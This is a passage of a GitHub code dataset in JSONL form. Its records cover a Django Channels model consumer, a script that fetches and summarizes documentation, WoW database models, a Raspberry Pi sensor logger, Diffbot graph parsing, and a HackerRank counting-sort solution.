      elif event_type == 'model_list_view':\n                self._load_list_view(json_data)\n            elif event_type == 'model_detail_view':\n                self._load_detail_view(json_data)\n            elif event_type == 'model_save':\n                self._save_element(json_data)\n            elif event_type == 'model_create':\n                self._create_element(json_data)\n            elif event_type == 'model_upload':\n                self._upload_file(json_data)\n            elif event_type == 'model_delete':\n                self._delete_element(json_data)\n            elif event_type == 'model_load':\n                model_data = ConsumerSerializer().serialize(self._load_model())\n                self.send(text_data=json.dumps({\n                    'type': json_data['event_type'],\n                    'event_id': json_data['event_id'],\n                    'args': {\n                        'data': model_data,\n                        'media_url': settings.MEDIA_URL or '/'\n                    },\n                    'is_error': False\n                }))\n            else:\n                raise ValueError(\n                    f\"{json_data['event']} must be 'model' and {json_data['event_type']} must be in [load, delete, upload, create, save, detail_view, 'connect', 'edit_form', 'create_form', 'list_view']\")\n        except PermissionDenied as e:\n            self.state_error({\n                'type': msg_type,\n                'msg': _f('403 Not allowed!'),\n                'event_id': json_data.get('event_id'),\n                'header': _f('Upps!!')\n            })\n\n        except Exception as e:\n            if settings.DEBUG:\n                extracted_list = traceback.extract_tb(e.__traceback__)\n                traceback.print_tb(e.__traceback__)\n                e_text = [e.__str__()] + [item for item in traceback.StackSummary.from_list(extracted_list).format()]\n            else:\n                e_text = _f('Something went wrong')\n            self.state_error({\n                'type': msg_type,\n                'msg': e_text,\n                'event_id': json_data.get('event_id'),\n                'header': _f('Upps!!')\n            })\n\n    def _add_to_class(self):\n        async_to_sync(self.channel_layer.group_add)(\n            self.model_name,\n            self.channel_name\n        )\n\n    def _load_model(self):\n        queryset = self.model.get_queryset(self.scope['user'], self.scope['event_type'], self.queryset)\n\n        data_load_result = self.model.data_load(self.scope['user'], queryset, self.queryset)\n        if data_load_result is not None:\n            return data_load_result\n        res = queryset.filter(**self.queryset)\n        self.ids = list(res.values_list('id', flat=True))\n\n        return res\n\n    def _init_connection(self, json_data):\n        self._load_model()\n        self._add_to_class()\n        # self.model_description =  {field.name: field.__class__.__name__ for field in self.model._meta.fields}\n        self.send(text_data=json.dumps({\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'is_error': False\n        }))\n\n    def _load_create_form(self, json_data):\n        instance: SdcModel = self.model()\n        instance.scope = self.scope\n        return self._load_form(json_data, self.model.create_form, instance)\n\n    def _load_edit_form(self, json_data):\n        instance = self._load_model().get(pk=json_data['args']['pk'])\n        instance.scope = self.scope\n        return self._load_form(json_data, self.model.edit_form, instance)\n\n    def _load_form(self, json_data, form_attr, instance=None):\n        if callable(form_attr):\n            form_attr = form_attr({})\n        if form_attr is None:\n            raise NotImplemented()\n        elif isinstance(form_attr, str):\n            edit_form_path = form_attr.split('.')\n            form = getattr(importlib.import_module('.'.join(edit_form_path[0:-1])), edit_form_path[-1])\n        else:\n            form = form_attr\n\n        self.send(text_data=json.dumps({\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'html': self._render(self.model.html_form_template, {'instance': instance, 'form': form(instance=instance)},\n                                 json_data),\n            'is_error': False\n        }))\n\n    def _create_element(self, json_data):\n        instance: SdcModel = self.model()\n        instance.scope = self.scope\n        return self._submit_element(json_data, self.model.create_form, instance)\n\n    def _save_element(self, json_data):\n        instance = self._load_model().get(pk=json_data['args']['data']['pk'])\n        instance.scope = self.scope\n        return self._submit_element(json_data, self.model.edit_form, instance)\n\n    def _upload_file(self, json_data):\n        file_data = json_data['args']\n        if json_data['event_id'] in self._upload_handler:\n            (handler, number_of_chunks) = self._upload_handler.get(json_data['event_id'])\n        else:\n            (handler, number_of_chunks) = (TemporaryFileUploadHandler(), int(file_data['number_of_chunks']))\n\n            handler.new_file(file_name=file_data['file_name'],\n                             field_name=file_data['field_name'],\n                             content_type=file_data['content_type'],\n                             content_length=file_data['content_length'], )\n        handler.receive_data_chunk(bytes([ord(x) for x in file_data['chunk']]), int(file_data['idx']))\n        number_of_chunks = number_of_chunks - 1\n        self._upload_handler[json_data['event_id']] = (handler, number_of_chunks)\n        if number_of_chunks == 0:\n            handler.upload_complete()\n            self.send(text_data=json.dumps({\n                'type': json_data['event_type'],\n                'event_id': json_data['event_id'],\n                'is_error': False\n            }))\n\n    def _submit_element(self, json_data, form_attr, instance=None):\n        data = json_data['args']['data']\n        files = json_data['args'].get('files')\n        if form_attr is None:\n            raise NotImplemented()\n        elif isinstance(form_attr, str):\n            edit_form_path = form_attr.split('.')\n            form = getattr(importlib.import_module('.'.join(edit_form_path[0:-1])), edit_form_path[-1])\n        else:\n            form = form_attr\n        uploads = MultiValueDict()\n        if files is not None:\n            for (key, val) in files.items():\n                uploads[key] = self._upload_handler[val['id']][0].file_complete(val['content_length'])\n                del self._upload_handler[val['id']]\n\n        form_instance = form(instance=instance, data=data, files=uploads)\n        is_valid = form_instance.is_valid()\n        new_instance = None\n\n        if is_valid:\n            form_instance.save()\n            new_instance = ConsumerSerializer().serialize(self._load_model().filter(pk=form_instance.instance.pk))\n            msg = self.msg_manager.get_msg(form_instance.instance, json_data['event_type'])\n        else:\n            msg = {'header': 'Upss!',\n                   'msg': \"<ul>%s</ul>\" % \"\\n\".join(\n                       [\"<li>%s: %s</li>\" % (k, v[0]) for k, v in form_instance.errors.items()])\n                   }\n\n        self.send(text_data=json.dumps(msg | {\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'data': {'instance': new_instance},\n            'html': self._render(self.model.html_form_template,\n                                 {'instance': form_instance.instance, 'form': form_instance},\n                                 json_data),\n            'is_error': not is_valid\n        }))\n\n    def _load_list_view(self, json_data):\n        if self.model.html_list_template is None:\n            raise NotImplemented()\n\n        self.send(text_data=json.dumps({\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'html': self._render(self.model.html_list_template, {'instances': self._load_model()}, json_data),\n            'is_error': False\n        }))\n\n    def _load_detail_view(self, json_data):\n        if self.model.html_detail_template is None:\n            raise NotImplemented()\n        instance = self._load_model().get(pk=json_data['args']['pk'])\n        instance.scope = self.scope\n        self.send(text_data=json.dumps({\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'html': self._render(self.model.html_detail_template, {'instance': instance}, json_data),\n            'is_error': False\n        }))\n\n    def _delete_element(self, json_data):\n        instance = self._load_model().get(pk=json_data['args']['pk'])\n        instance.scope = self.scope\n        instance.delete()\n        self.send(text_data=json.dumps({\n            'type': json_data['event_type'],\n            'event_id': json_data['event_id'],\n            'is_error': False\n        }))\n\n    def _render(self, template_name, context: dict, json_data: dict):\n        context = self.scope | json_data.get('args', {}) | context\n        return self.model.render(template_name, context)\n","repo_name":"StarmanMartin/SimpleDomControl","sub_path":"sdc_core/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":18739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73847724854","text":"import datetime\nimport json\nimport os\nimport re\nimport tarfile\nfrom typing import Dict, Union\n\nimport emoji\nimport requests\nimport yaml\nfrom termcolor import colored\nfrom transformers import AutoTokenizer, pipeline\n\nMAX_TOKENS_ACCEPTED_BY_SUMMARIZER = 1024\nMIN_TOKENS_TO_SUMMARIZE = 200\n\n\ndef load_configs(file_path: str) -> Dict:\n    with open(file_path, \"r\") as stream:\n        return yaml.safe_load(stream)\n\n\ndef create_dir(path: str) -> None:\n    if not os.path.exists(path):\n        os.makedirs(path)\n\n\ndef remove_existing_file(file_path: str) -> None:\n    if os.path.exists(file_path):\n        os.remove(file_path)\n\n\ndef preprocess_text(text: str) -> str:\n    text = re.sub(r\"<[^>]*>\", \"\", text)\n    text = re.sub(r\"http\\S+|www.\\S+\", \"\", text)\n    text = re.sub(r\"Copyright.*\", \"\", text)\n    text = text.replace(\"\\n\", \" \")\n    text = emoji.demojize(text)\n    text = re.sub(r\":[a-z_&+-]+:\", \"\", text)\n    return text\n\n\ndef summarize_text(text: str, tokenizer, summarizer) -> str:\n    tokens = tokenizer(text)[\"input_ids\"]\n    total_tokens = len(tokens)\n    if total_tokens < MIN_TOKENS_TO_SUMMARIZE:\n        return text\n    if total_tokens > MAX_TOKENS_ACCEPTED_BY_SUMMARIZER:\n        tokens = tokens[: int(MAX_TOKENS_ACCEPTED_BY_SUMMARIZER * 0.75)]\n        text = tokenizer.decode(tokens, skip_special_tokens=True)\n    return summarizer(\n        text,\n        max_length=MAX_TOKENS_ACCEPTED_BY_SUMMARIZER,\n        min_length=30,\n        do_sample=False,\n    )[0][\"summary_text\"]\n\n\ndef process_sequences(sequences: list, tokenizer, summarizer) -> str:\n    for i in range(len(sequences)):\n        if not sequences[i].startswith(\"```\"):\n            sequences[i] = summarize_text(sequences[i], tokenizer, summarizer)\n    return \" \".join(sequences)\n\n\ndef download_file(\n    url: str, repo_info: dict, tokenizer, summarizer, jsonl_file_name: str\n) -> None:\n    response = requests.get(url)\n    filename = url.split(\"/\")[-1]\n    text = response.text\n\n    if text is not None and isinstance(text, str):\n        text = preprocess_text(text)\n        sequences = re.split(r\"(```.*?```)\", text)\n        summarized_text = process_sequences(sequences, tokenizer, summarizer)\n        summarized_text = re.sub(r\"\\s+\", \" \", summarized_text)\n        summarized_text = summarized_text.strip()\n\n        file_dict = {\n            \"title\": filename,\n            \"repo_owner\": repo_info[\"owner\"],\n            \"repo_name\": repo_info[\"repo\"],\n            \"text\": summarized_text,\n        }\n\n        with open(jsonl_file_name, \"a\") as jsonl_file:\n            jsonl_file.write(json.dumps(file_dict) + \"\\n\")\n    else:\n        print(f\"Unexpected response text: {text}\")\n\n\ndef process_directory(\n    path: str,\n    repo_info: Dict,\n    headers: Dict,\n    tokenizer,\n    summarizer,\n    jsonl_file_name: str,\n) -> None:\n    base_url = f\"https://api.github.com/repos/{repo_info['owner']}/{repo_info['repo']}/contents/\"\n    print(colored(f\"Processing directory: {path} of repo: {repo_info['repo']}\", \"blue\"))\n    response = requests.get(base_url + path, headers=headers)\n\n    if response.status_code == 200:\n        files = response.json()\n        for file in files:\n            if file[\"type\"] == \"file\" and (\n                file[\"name\"].endswith(\".mdx\") or file[\"name\"].endswith(\".md\")\n            ):\n                print(colored(f\"Downloading file: {file['name']}\", \"green\"))\n                print(colored(f\"Download URL: {file['download_url']}\", \"cyan\"))\n                download_file(\n                    file[\"download_url\"],\n                    repo_info,\n                    tokenizer,\n                    summarizer,\n                    jsonl_file_name,\n                )\n            elif file[\"type\"] == \"dir\":\n                process_directory(\n                    file[\"path\"],\n                    repo_info,\n                    headers,\n                    tokenizer,\n                    summarizer,\n                    jsonl_file_name,\n                )\n        print(colored(\"Successfully retrieved files from the directory.\", \"green\"))\n    else:\n        print(\n            colored(\n                \"Failed to retrieve files. Please check your GitHub token and the repo details.\",\n                \"red\",\n            )\n        )\n\n\ndef main():\n    config = load_configs(\"text_retriever/config.yaml\")\n    summarizer_model = config[\"summarizer_model\"]\n    summarizer = pipeline(\"summarization\", model=summarizer_model)\n    tokenizer = AutoTokenizer.from_pretrained(summarizer_model)\n    github_token = os.getenv(\"GITHUB_TOKEN\")\n\n    if github_token is None:\n        raise ValueError(\"GITHUB_TOKEN is not set in the environment variables.\")\n\n    headers = {\n        \"Authorization\": f\"Bearer {github_token}\",\n        \"Accept\": \"application/vnd.github.v3.raw\",\n    }\n\n    current_date = datetime.date.today().strftime(\"%Y_%m_%d\")\n    jsonl_file_name = f\"data/docs_en_{current_date}.jsonl\"\n\n    create_dir(\"data/\")\n    remove_existing_file(jsonl_file_name)\n\n    for repo_info in config[\"github\"][\"repos\"]:\n        process_directory(\n            repo_info[\"path\"],\n            repo_info,\n            headers,\n            tokenizer,\n            summarizer,\n            jsonl_file_name,\n        )\n\n    with tarfile.open(f\"data/docs_en_{current_date}.tar\", \"w\") as tar:\n        tar.add(jsonl_file_name)\n        print(colored(\"Successfully compressed the JSONL file.\", \"green\"))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"omarespejel/hugging4all","sub_path":"hugging4all/text_retriever/text_retriever.py","file_name":"text_retriever.py","file_ext":"py","file_size_in_byte":5397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"13206665686","text":"from .abstract import AbstractModel\nfrom .misc import ManifestInterfaceData\nfrom ..utilities import rgbHex, arrayFromB32\nfrom ..manager import DB\nfrom collections import defaultdict\n# from ..skill import SkillLine\n# from .spell import SpecializationSpells\n\nclass ChrClasses (AbstractModel):\n    TABLE = {\"table\":\"ChrClasses\", \"id_field\":\"id\"}\n    COLORS = {1: (199, 156, 110), 2: (245, 140, 186), 3: (171, 212, 115), 4: (255, 245, 105), 5: (255, 255, 255), 6: (196, 30, 59), 7: (0, 112, 222), 8: (105, 204, 240), 9: (148, 130, 201), 10: (0, 255, 150), 11: (255, 125, 10), 12: (163, 48, 201)}\n    def __init__ (self, id, **kwargs):\n        super (ChrClasses, self).__init__(id, **kwargs)\n    \n    def getColor (self, **kwargs):\n        color = self.COLORS.get(self.id, None)\n        if kwargs.get(\"hex\", False):\n            return rgbHex(color)\n        return color\n\n    def getIcon (self, size=35,**kwargs):\n        uiData = ManifestInterfaceData(self.iconFileDataID)\n        return uiData.getIcon(size, **kwargs)\n        \n    def getShortText (self, iconSize = 15):\n        return '<span style=\"text-align: right;\">{icon}</span> <span style=\"color:{color};\">{name}</span>'.format(icon=self.getIcon(size=iconSize, html=True), name=self.name, color=rgbHex(self.getColor()))\n\nclass ChrSpecialization (AbstractModel):\n    TABLE = {\"table\":\"ChrSpecialization\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n    def __init__ (self, id, **kwargs):\n        super (ChrSpecialization, self).__init__(id, **kwargs)\n    \n    def getClass (self):\n        if self.classID !=0 :\n            chrClass = ChrClasses(self.classID)\n            if chrClass.exists():\n                return chrClass\n    \n    def getFlags (self):\n        return arrayFromB32(self.flags)\n    \n    def isDualWield (self):\n        from .skill import SkillLine\n        # Load skill Dual-Wield\n        skill = SkillLine(118)\n\n        # First check if any other specs in the class have SpecSpell named Dual-Wield\n        classSpecs = DB[\"ChrSpecialization\"].find({\"id_parent\":self.classID})\n        specSpellsBySpec = defaultdict(list)\n        specIDs = [y[\"id\"] for y in classSpecs]\n        for specSpell in DB[\"SpecializationSpells\"].find({\"spec_id\":{\"$in\":specIDs}}):\n            specSpellsBySpec[specSpell[\"id_parent\"]].append(specSpell[\"SpellID\"])\n        spellIDs = list(sum([x for x in specSpellsBySpec.values()], []))\n        spellNames = {x[\"id\"]:x[\"Name_lang\"] for x in DB[\"SpellName\"].find({\"id\":{\"$in\":spellIDs}})}\n        specsSpellNames = {k:[spellNames[x] for x in v if x in spellNames] for k,v in specSpellsBySpec.items()}\n\n        states = {specID:(skill.displayName in specSpells) for specID, specSpells in specsSpellNames.items()}\n\n        if states[self.id]:\n            return True\n        elif all (not x for x in states.values()):\n            # Otherwhise simply check the SkillRaceClassInfo for Dual-Wield\n            classInfo = skill.getRaceClassInfo()\n            classeIDs = sum([x.getClasseIDs() for x in classInfo], [])\n            if self.classID in classeIDs:\n                return True\n        else :\n            return False\n    \n    def isEquippable (self, item):\n        from .skill import SkillLine\n        # If Misc (Back, Rings, Trinkets ..)\n        sparse = item.getSparse()\n        if self.classID in arrayFromB32(sparse.allowableClass):\n            return True\n        if item.classID==4 and item.subclassID in (0,1) :\n            return True\n        else :\n            skillLine = item.getClassSkillLine()\n            if skillLine:\n                skillClassInfo = skillLine.getRaceClassInfo()\n                classeIDs = sum([info.getClasseIDs() for info in skillClassInfo], [])\n                if self.classID in classeIDs:\n                    return True\n        return False\n    \n    def isMainStat (self, item):\n        # if item.inventoryType in (2, 11, 12) :\n        #     return True\n        sparse = item.getSparse ()\n        stats = sparse.getStats()\n        statIDs = [x[\"id\"] for x in stats]\n        mapRealStatID = {0:5,1:5,2:3,3:3,5:4}\n        primaryStat = mapRealStatID[self.primaryStatPriority]\n\n        mapMultStats = {3 : [71,72,73], 4:[71,72,74], 5:[71,73,74]}\n        allPrimaryStats = list(mapMultStats.keys())+list(mapMultStats.values())\n        allMainStats = mapMultStats[primaryStat]\n        allMainStats.append(primaryStat)\n        if any([True if x in allPrimaryStats else False for x in statIDs]):\n            if any([True if x in statIDs else False for x in allMainStats]):\n                return True\n            else :\n                return False\n        return True\n\nclass ChrRaces (AbstractModel):\n    TABLE = {\"table\":\"ChrRaces\", \"id_field\":\"id\"}\n    def __init__ (self, id, **kwargs):\n        super (ChrRaces, self).__init__(id, **kwargs)\n\nclass SpecSetMember (AbstractModel):\n    TABLE = {\"table\":\"SpecSetMember\", \"id_field\":\"id\", \"id_parent_field\":\"id_parent\"}\n    def __init__ (self, id, **kwargs):\n        super (SpecSetMember, self).__init__(id, **kwargs)\n    \n    def getSpec (self):\n        return ChrSpecialization[self.chrSpecializationID]\n\npreload = (\n    ChrClasses,\n    ChrSpecialization,\n    SpecSetMember,\n) \nfor tbl in preload:\n    tbl.All() \n","repo_name":"MichelPate/wowdb","sub_path":"models/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"618662821","text":"import os\nimport time\nimport RPi.GPIO as GPIO  # Import Raspberry Pi GPIO library\nfrom datetime import datetime\n\nfrom .constants import *\nfrom .lsm6ds33 import LSM6DS33  # Accel & Gyro (+ temp)\nfrom .lis3mdl import LIS3MDL  # Magnetometer (+ temp)\nfrom .lps25h import LPS25H  # Barometric Pressure & Temperature\n\n\nclass DataRW:\n    def __init__(self):\n        GPIO.setwarnings(False)  # Ignore warning for now\n        GPIO.setmode(GPIO.BOARD)  # Use physical pin numbering\n\n        self.imu = LSM6DS33()  # Accelerometer and Gyroscope\n        self.imu.enable()\n\n        self.magnetometer = LIS3MDL()  # Magnetometer\n        self.magnetometer.enable()\n\n        self.barometer_thermometer = LPS25H()  # Barometric and Temperature\n        self.barometer_thermometer.enable()\n\n    def rw(self, mission_start, time_total, data_dirpath, run):\n        \"\"\"Capture flight data with the IMU and write it to a file\"\"\"\n\n        # setup for data capture\n        date = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n        file = open(os.path.join(data_dirpath, date + '.csv'), 'w')\n        header = 'Time,X-Gyro,Y-Gyro,Z-Gyro,X-Accel,Y-Accel,Z-Accel,X-Mag,Y-Mag,Z-Mag,Pressure,Altitude,Temperature\\n'\n        file.write(header)\n\n        # print header to terminal if practice run\n        if run == 'practice':\n            print(header[:-1])\n\n        # run until mission duration complete\n        while True:\n            # check if mission duration complete\n            if time.perf_counter() - mission_start > time_total:\n                break\n\n            # make new strings to edit\n            gyroscope_data = str(self.imu.getGyroscopeDPS())\n            accelerometer_data = str(self.imu.getAccelerometerMPS2())\n            magnetometer_data = str(self.magnetometer.getMagnetometerRaw())\n\n            # chop brackets off the end of strings\n            gyroscope_data = gyroscope_data[1:len(gyroscope_data) - 1]\n            accelerometer_data = accelerometer_data[1:len(accelerometer_data) - 1]\n            magnetometer_data = magnetometer_data[1:len(magnetometer_data) - 1]\n\n            # get rid of whitespace\n            gyroscope_data = gyroscope_data.replace(' ', '')\n            accelerometer_data = accelerometer_data.replace(' ', '')\n            magnetometer_data = magnetometer_data.replace(' ', '')\n            pressure_data = str(self.barometer_thermometer.getBarometerMillibars())\n            altitude_data = str(self.barometer_thermometer.getAltitude())\n            temperature_data = str(self.barometer_thermometer.getTemperatureCelsius())\n\n            # write imu data to file\n            now = str(datetime.now())\n            imu_data = ','.join([now, gyroscope_data, accelerometer_data, magnetometer_data, pressure_data,\n                                 altitude_data, temperature_data + '\\n'])\n            file.write(imu_data)\n\n            # print imu data to terminal if practice run\n            if run == 'practice':\n                print(imu_data[:-1])\n","repo_name":"tahateke/bx4","sub_path":"data/data_rw.py","file_name":"data_rw.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41623954893","text":"from collections import defaultdict\n\nfrom .diffbot_constants import CEO_URI, BOARD_MEMBER_URI, FOUNDER_URI, LINKS_TO_ID\n\n\ndef get_links_from_org_entity(response_dict):\n    \"\"\" Returns associated links given an organization entity response dictionary\n\n    Args:\n        response_dict (`obj`: dict): The dictionary containing the organization's\n            information as returned from Diffbot's KG API\n\n    Returns:\n        A dictionary of dictionary of dictionary mapping the link type\n        founder, ceo, location, investors and board members' to a dictionary mapping the\n        entity uris to a dictionary containing their name and entity type. For investors,\n        this innermost dictionary maps investor name to a dictionary containing\n        entity type and the diffbot_uri if it exists. Otherwise, it is the\n        associated website_uri that we can use for the enhance api.\n\n        Small example for IEX Group\n        {\n            'founder_of': {\n                'PILTd1j21OfepcwAjR9hkAQ': {'name': 'Ronan Ryan', 'node_type': 'Person'}\n            },\n            'ceo_of': {\n                'P6shM4PG7NvW_ybCbkbkanw': {'name': 'Brad Katsuyama', 'node_type': 'Person'}\n            },\n            'investor_of': {\n                'Belfer Management': {'website_uri': 'crunchbase.com/organization/belfer-management', 'node_type': 'Organization'},\n                'Steve Wynn': {'diffbot_uri': 'P-Njz-5kyPkqbdZJFu3UGig', 'node_type': 'Person'}\n            },\n            'located_in': {\n                'A01d4EK33MmCosgI2KXa4-A': {'name': 'United States of America', 'node_type': 'Location'},\n                'AcMmgf99wMQ6XYnbChv5HiQ': {'name': 'New York City', 'node_type': 'Location'},\n                'A1NxI_KXaMbiP5g2aM9MRdw': {'name': 'New York', 'node_type': 'Location'}\n            }\n        }\n\n    \"\"\"\n    founders = response_dict.get('founders', [])\n    ceo = response_dict.get('ceo')\n    investments = response_dict.get('investments', [])\n    board_members = response_dict.get('boardMembers', [])\n    location = response_dict.get('location')\n\n    all_links = defaultdict(dict)\n    for founder in founders:\n        get_uri_and_add_to_dict(founder, all_links, 'founder_of', 'Person')\n\n    if ceo is not None:\n        get_uri_and_add_to_dict(ceo, all_links, 'ceo_of', 'Person')\n\n    for investment in investments:\n        if 'investors' in investment.keys():\n            for investor in investment['investors']:\n                diffbot_uri = investor.get('diffbotUri')\n                if diffbot_uri is not None:\n                    all_links['investor_of'][investor['name']] = {'diffbot_uri': diffbot_uri.split('/')[-1],\n                                                                  'node_type': 'Person'}\n                website_uris = investor.get('websiteUris', [])\n                if len(website_uris) >= 1:\n                    all_links['investor_of'][investor['name']] = {'website_uri': investor['websiteUris'][0],\n                                                                  'node_type': 'Organization'}\n\n    for board_member in board_members:\n        get_uri_and_add_to_dict(board_member, all_links, 'board_member_of', 'Person')\n\n    if location is not None:\n        all_links.update(get_links_from_location_dict(location))\n\n    return all_links\n\n\ndef get_links_from_person_entity(response_dict):\n    \"\"\" Returns associated links given an given Person entity response dictionary.\n\n    Args:\n        response_dict (`obj`: dict): The dictionary containing the Person's\n            information as returned from Diffbot's KG API:\n\n    Returns:\n        A dictionary of dictionary of dictionary mapping the link type\n        education, current location, and current employments' to a dictionary mapping the\n        entity uris to a dictionary containing their name and entity type.\n\n        Example.\n        {\n            'educated_at': {\n                'Ozfdb2vswMHOFMy003XxkTA': {'name': 'Harvard Business School', 'node_type': 'Institution'},\n                'OL-LKCyT7NJWjBwJS1vEDmg': {'name': 'University of Wisconsin-Madison', 'node_type': 'Institution'}\n            },\n            'board_member_of': {\n                {'CDCA8VkXSN0myqrh9tEI-dQ': {'name': 'Kony', 'node_type': 'Organization'}}\n            },\n            'located_in': {\n                'A01d4EK33MmCosgI2KXa4-A': {'name': 'United States of America', 'node_type': 'Location'},\n                'A1NxI_KXaMbiP5g2aM9MRdw': {'name': 'New York', 'node_type': 'Location'}\n            }\n        }\n    \"\"\"\n    educations = response_dict.get('educations', [])\n    employments = response_dict.get('employments', [])\n    locations = response_dict.get('locations', [])\n\n    all_links = defaultdict(dict)\n    for education in educations:\n        institution = education.get('institution')\n        if institution is not None:\n            get_uri_and_add_to_dict(institution, all_links, 'educated_at', 'Institution')\n\n    for employment in employments:\n        if not employment.get('isCurrent'):\n            continue\n        employer = employment.get('employer', {})\n\n        for category in employment.get('categories', []):\n            if 'diffbotUri' not in category:\n                continue\n            diffbot_uri = category['diffbotUri'].split('/')[-1]\n            if diffbot_uri == FOUNDER_URI:\n                get_uri_and_add_to_dict(employer, all_links, 'founder_of', 'Organization')\n            elif diffbot_uri == BOARD_MEMBER_URI:\n                get_uri_and_add_to_dict(employer, all_links, 'board_member_of', 'Organization')\n            elif diffbot_uri == CEO_URI:\n                get_uri_and_add_to_dict(employer, all_links, 'ceo_of', 'Organization')\n\n    for location in locations:\n        if not location.get('isCurrent'):\n            continue\n        all_links.update(get_links_from_location_dict(location))\n\n    return all_links\n\n\ndef get_links_from_location_dict(location_dict):\n    country = location_dict.get('country')\n    city = location_dict.get('city')\n    subregion = location_dict.get('subregion')\n    region = location_dict.get('region')\n\n    all_links = defaultdict(dict)\n    if country is not None:\n        get_uri_and_add_to_dict(country, all_links, 'located_in', 'Country')\n    if city is not None:\n        get_uri_and_add_to_dict(city, all_links, 'located_in', 'City')\n    if subregion is not None:\n        get_uri_and_add_to_dict(subregion, all_links, 'located_in', 'SubRegion')\n    if region is not None:\n        get_uri_and_add_to_dict(region, all_links, 'located_in', 'Region')\n    return all_links\n\n\ndef parse_org_links_for_edges(node, all_links,\n                              investors_uri_mapping=None,\n                              saved_entities_uri_info_map=None,\n                              all_explored_nodes=None):\n    if all_explored_nodes is None:\n        all_explored_nodes = {}\n    if saved_entities_uri_info_map is None:\n        saved_entities_uri_info_map = {}\n    if investors_uri_mapping is None:\n        investors_uri_mapping = {}\n    edges = []\n    for link_type, links in all_links.items():\n        if link_type == 'investor_of':\n            for name, info in links.items():\n                if name not in investors_uri_mapping:\n                    diffbot_uri = info.get('diffbot_uri')\n                    if diffbot_uri:\n                        investors_uri_mapping[name] = diffbot_uri\n                    else:\n                        all_explored_nodes[name] = {'name': name,\n                                                    'website_uri': info.get('website_uri'),\n                                                    'node_type': 'Organization'}\n                        edges.append({'head': name,\n                                      'relation': LINKS_TO_ID[link_type],\n                                      'tail': node})\n                        continue\n                uri = investors_uri_mapping[name]\n                edges.append({'head': uri,\n                              'relation': LINKS_TO_ID[link_type],\n                              'tail': node})\n                if uri not in all_explored_nodes:\n                    if uri in saved_entities_uri_info_map:\n                        all_explored_nodes[uri] = saved_entities_uri_info_map[uri]\n                    else:\n                        all_explored_nodes[uri] = {'name': name, 'node_type': info.get('node_type')}\n\n        elif link_type == 'located_in':\n            for uri, info in links.items():\n\n                edges.append({'head': node,\n                              'relation': LINKS_TO_ID[link_type],\n                              'tail': uri})\n                if uri not in all_explored_nodes:\n                    all_explored_nodes[uri] = info\n\n        else:\n            for uri, info in links.items():\n                edges.append({'head': uri,\n                              'relation': LINKS_TO_ID[link_type],\n                              'tail': node})\n                if uri not in all_explored_nodes:\n                    if uri in saved_entities_uri_info_map:\n                        all_explored_nodes[uri] = saved_entities_uri_info_map[uri]\n                    else:\n                        all_explored_nodes[uri] = info\n    return edges, all_explored_nodes\n\n\ndef parse_person_links_for_edges(node, all_links,\n                                 saved_entities_uri_info_map=None,\n                                 all_explored_nodes=None):\n    if all_explored_nodes is None:\n        all_explored_nodes = {}\n    if saved_entities_uri_info_map is None:\n        saved_entities_uri_info_map = {}\n    edges = []\n    for link_type, links in all_links.items():\n        if link_type in ['board_member_of', 'ceo_of', 'founder_of']:\n            for uri, info in links.items():\n                edges.append({'head': node,\n                              'relation': LINKS_TO_ID[link_type],\n                              'tail': uri})\n                if uri not in all_explored_nodes:\n                    if uri in saved_entities_uri_info_map:\n                        all_explored_nodes[uri] = saved_entities_uri_info_map[uri]\n                    else:\n                        all_explored_nodes[uri] = info\n        else:\n            for uri, info in links.items():\n                edges.append({'head': node,\n                              'relation': LINKS_TO_ID[link_type],\n                              'tail': uri})\n                if uri not in all_explored_nodes:\n                    if uri in saved_entities_uri_info_map:\n                        all_explored_nodes[uri] = saved_entities_uri_info_map[uri]\n                    else:\n                        all_explored_nodes[uri] = info\n    return edges, all_explored_nodes\n\n\ndef get_uri_and_add_to_dict(info, links_dict, link_type, node_type):\n    if 'diffbotUri' in info:\n        uri = info['diffbotUri'].split('/')[-1]\n        links_dict[link_type][uri] = {'name': info.get('name'), 'node_type': node_type}","repo_name":"georgian-io/Diffbot-Graph-Learning","sub_path":"data_preprocess/diffbot_process_entities.py","file_name":"diffbot_process_entities.py","file_ext":"py","file_size_in_byte":10894,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"22416644555","text":"# Complete the countingSort function in the editor below.\n\n# countingSort has the following parameter(s):\n# arr[n]: an array of integers\n# Returns\n# int[100]: a frequency array\n\ndef countingSort(arr):\n    a=[]\n    a=[0 for i in range(100)]\n    for i in arr:\n        if a[i] in a:\n            a[i]=a[i]+1\n        else:\n            a[i]=1\n  \n    return a\n","repo_name":"muskaan190/Python-HackerRank","sub_path":"CountingSort I.py","file_name":"CountingSort I.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
